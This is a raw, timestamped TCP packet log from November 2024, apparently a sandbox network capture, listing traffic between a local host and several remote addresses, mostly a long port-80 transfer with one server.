Nov 22, 2024 17:08:58.477673054 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.477708101 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.477731943 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.478558064 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.478630066 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.478668928 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.478697062 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.478760958 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.479501009 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.479554892 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.479568005 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.479582071 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.480034113 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.480379105 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.480485916 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.480498075 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.480523109 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.480659962 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.481296062 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.481353998 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.481395960 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.481408119 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.481436014 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.482209921 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.482254982 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.482265949 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.482279062 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.482373953 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.483179092 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.483191013 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.483201981 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.483232021 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.483256102 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.653136969 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.653153896 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.653166056 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.653218985 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.653834105 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.653846025 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.653857946 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.653907061 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.653907061 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.654457092 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.654581070 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.654793978 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.654804945 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.654875040 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.655041933 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.655056953 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.655067921 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.655107975 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.655107975 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.655931950 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.655971050 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.655982018 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.656088114 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.656203985 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.656882048 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.656913042 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.656924963 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.656954050 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.656954050 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.656997919 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.657769918 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.657824039 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.657835007 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.657872915 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.657872915 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.658704042 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.658751011 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.658775091 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.658787012 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.658915043 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.659653902 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.659697056 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.659708023 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.659754038 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.660536051 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.660573959 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.660587072 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.660598993 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.660640955 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.661523104 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.661540031 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.661554098 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.661581993 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.661864042 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.662367105 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.662415981 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.662426949 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.662487984 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.662487984 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.663407087 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.663422108 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.663434029 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.663492918 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.663492918 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.664244890 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.664299011 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.664305925 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.664311886 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.664351940 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.665239096 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.665268898 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.665283918 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.665312052 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.665312052 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.665312052 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.666044950 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.666142941 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.666147947 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.666162014 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.666275024 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.666948080 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.666990042 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.667001963 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.667047024 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.667124033 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.667877913 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.667924881 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.667937994 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.667985916 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.668009996 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.668931961 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.668984890 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.668983936 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.668998003 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.669048071 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.669753075 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.669819117 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.669831038 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.669887066 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.669887066 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.670808077 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.670903921 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.715612888 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:58.757369041 CET	443	49783	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:58.757390976 CET	443	49783	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:58.757433891 CET	443	49783	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:58.757483959 CET	49783	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:58.757503033 CET	443	49783	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:58.757517099 CET	49783	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:58.757940054 CET	49783	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:58.757953882 CET	443	49783	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:58.757981062 CET	49783	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:58.758131027 CET	443	49783	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:58.758169889 CET	443	49783	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:58.758279085 CET	49783	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:58.832331896 CET	443	49790	23.200.0.6	192.168.2.10
Nov 22, 2024 17:08:58.836762905 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:58.843342066 CET	49790	443	192.168.2.10	23.200.0.6
Nov 22, 2024 17:08:58.843379021 CET	443	49790	23.200.0.6	192.168.2.10
Nov 22, 2024 17:08:58.844724894 CET	443	49790	23.200.0.6	192.168.2.10
Nov 22, 2024 17:08:58.844785929 CET	49790	443	192.168.2.10	23.200.0.6
Nov 22, 2024 17:08:58.846160889 CET	49790	443	192.168.2.10	23.200.0.6
Nov 22, 2024 17:08:58.846230030 CET	443	49790	23.200.0.6	192.168.2.10
Nov 22, 2024 17:08:58.846353054 CET	49790	443	192.168.2.10	23.200.0.6
Nov 22, 2024 17:08:58.887334108 CET	443	49790	23.200.0.6	192.168.2.10
Nov 22, 2024 17:08:58.894848108 CET	49790	443	192.168.2.10	23.200.0.6
Nov 22, 2024 17:08:58.894859076 CET	443	49790	23.200.0.6	192.168.2.10
Nov 22, 2024 17:08:58.940934896 CET	49790	443	192.168.2.10	23.200.0.6
Nov 22, 2024 17:08:59.096055031 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.096302986 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.096318960 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.097418070 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.097482920 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.100119114 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.100178957 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.100536108 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.100542068 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.102283955 CET	443	49791	20.25.227.174	192.168.2.10
Nov 22, 2024 17:08:59.106211901 CET	49791	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:08:59.106220007 CET	443	49791	20.25.227.174	192.168.2.10
Nov 22, 2024 17:08:59.106770992 CET	443	49791	20.25.227.174	192.168.2.10
Nov 22, 2024 17:08:59.107341051 CET	49791	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:08:59.107404947 CET	49791	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:08:59.107404947 CET	49791	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:08:59.107412100 CET	443	49791	20.25.227.174	192.168.2.10
Nov 22, 2024 17:08:59.107426882 CET	443	49791	20.25.227.174	192.168.2.10
Nov 22, 2024 17:08:59.126610041 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.127017021 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.127027988 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.128110886 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.128187895 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.129719019 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.129806042 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.129905939 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.149023056 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.149175882 CET	49791	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:08:59.149183035 CET	443	49791	20.25.227.174	192.168.2.10
Nov 22, 2024 17:08:59.165739059 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.165779114 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.165791988 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.165857077 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.166115046 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.166258097 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.166332960 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.166436911 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.166596889 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.166656971 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.166667938 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.166712046 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.166712046 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.167574883 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.167655945 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.167666912 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.167716026 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.168538094 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.168557882 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.168569088 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.168606997 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.168637037 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.169544935 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.169595957 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.169605970 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.169645071 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.169698000 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.170418978 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.170429945 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.170443058 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.170510054 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.170511007 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.171202898 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.171225071 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.171238899 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.171327114 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.171335936 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.172118902 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.172178984 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.172190905 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.172277927 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.173059940 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.173082113 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.173093081 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.173464060 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.173942089 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.174004078 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.174015999 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.174088001 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.174936056 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.174992085 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.175003052 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.175069094 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.175069094 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.175831079 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.175889015 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.175947905 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.175962925 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.176219940 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.176892042 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.176913023 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.176923990 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.177002907 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.177002907 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.177704096 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.177761078 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.177772999 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.177840948 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.177841902 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.178596973 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.178664923 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.178677082 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.178714037 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.178774118 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.179574013 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.179647923 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.179660082 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.179747105 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.179747105 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.180001974 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.180022001 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.180387020 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.180445910 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.180457115 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.180584908 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.181328058 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.181348085 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.181359053 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.181390047 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.181447983 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.182219982 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.182271004 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.182276011 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.182282925 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.182315111 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.182353973 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.183231115 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.183243036 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.183286905 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.183331966 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.183413982 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.183532000 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.184062004 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.184111118 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.184123039 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.184129953 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.184148073 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.184248924 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.185240984 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.185252905 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.185264111 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.185332060 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.185363054 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.185882092 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.186237097 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.186254978 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.186261892 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.186352968 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.187119007 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.187153101 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.187165022 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.187235117 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.187235117 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.188021898 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.188149929 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.188160896 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.188164949 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.188210011 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.188997984 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.189076900 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.189088106 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.189166069 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.189166069 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.189981937 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.190057993 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.190074921 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.190176010 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.191020012 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.191066980 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.191078901 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.191096067 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.191131115 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.191131115 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.192004919 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.192104101 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.192116022 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.192126989 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.192207098 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.192858934 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.192959070 CET	80	49747	185.215.113.206	192.168.2.10
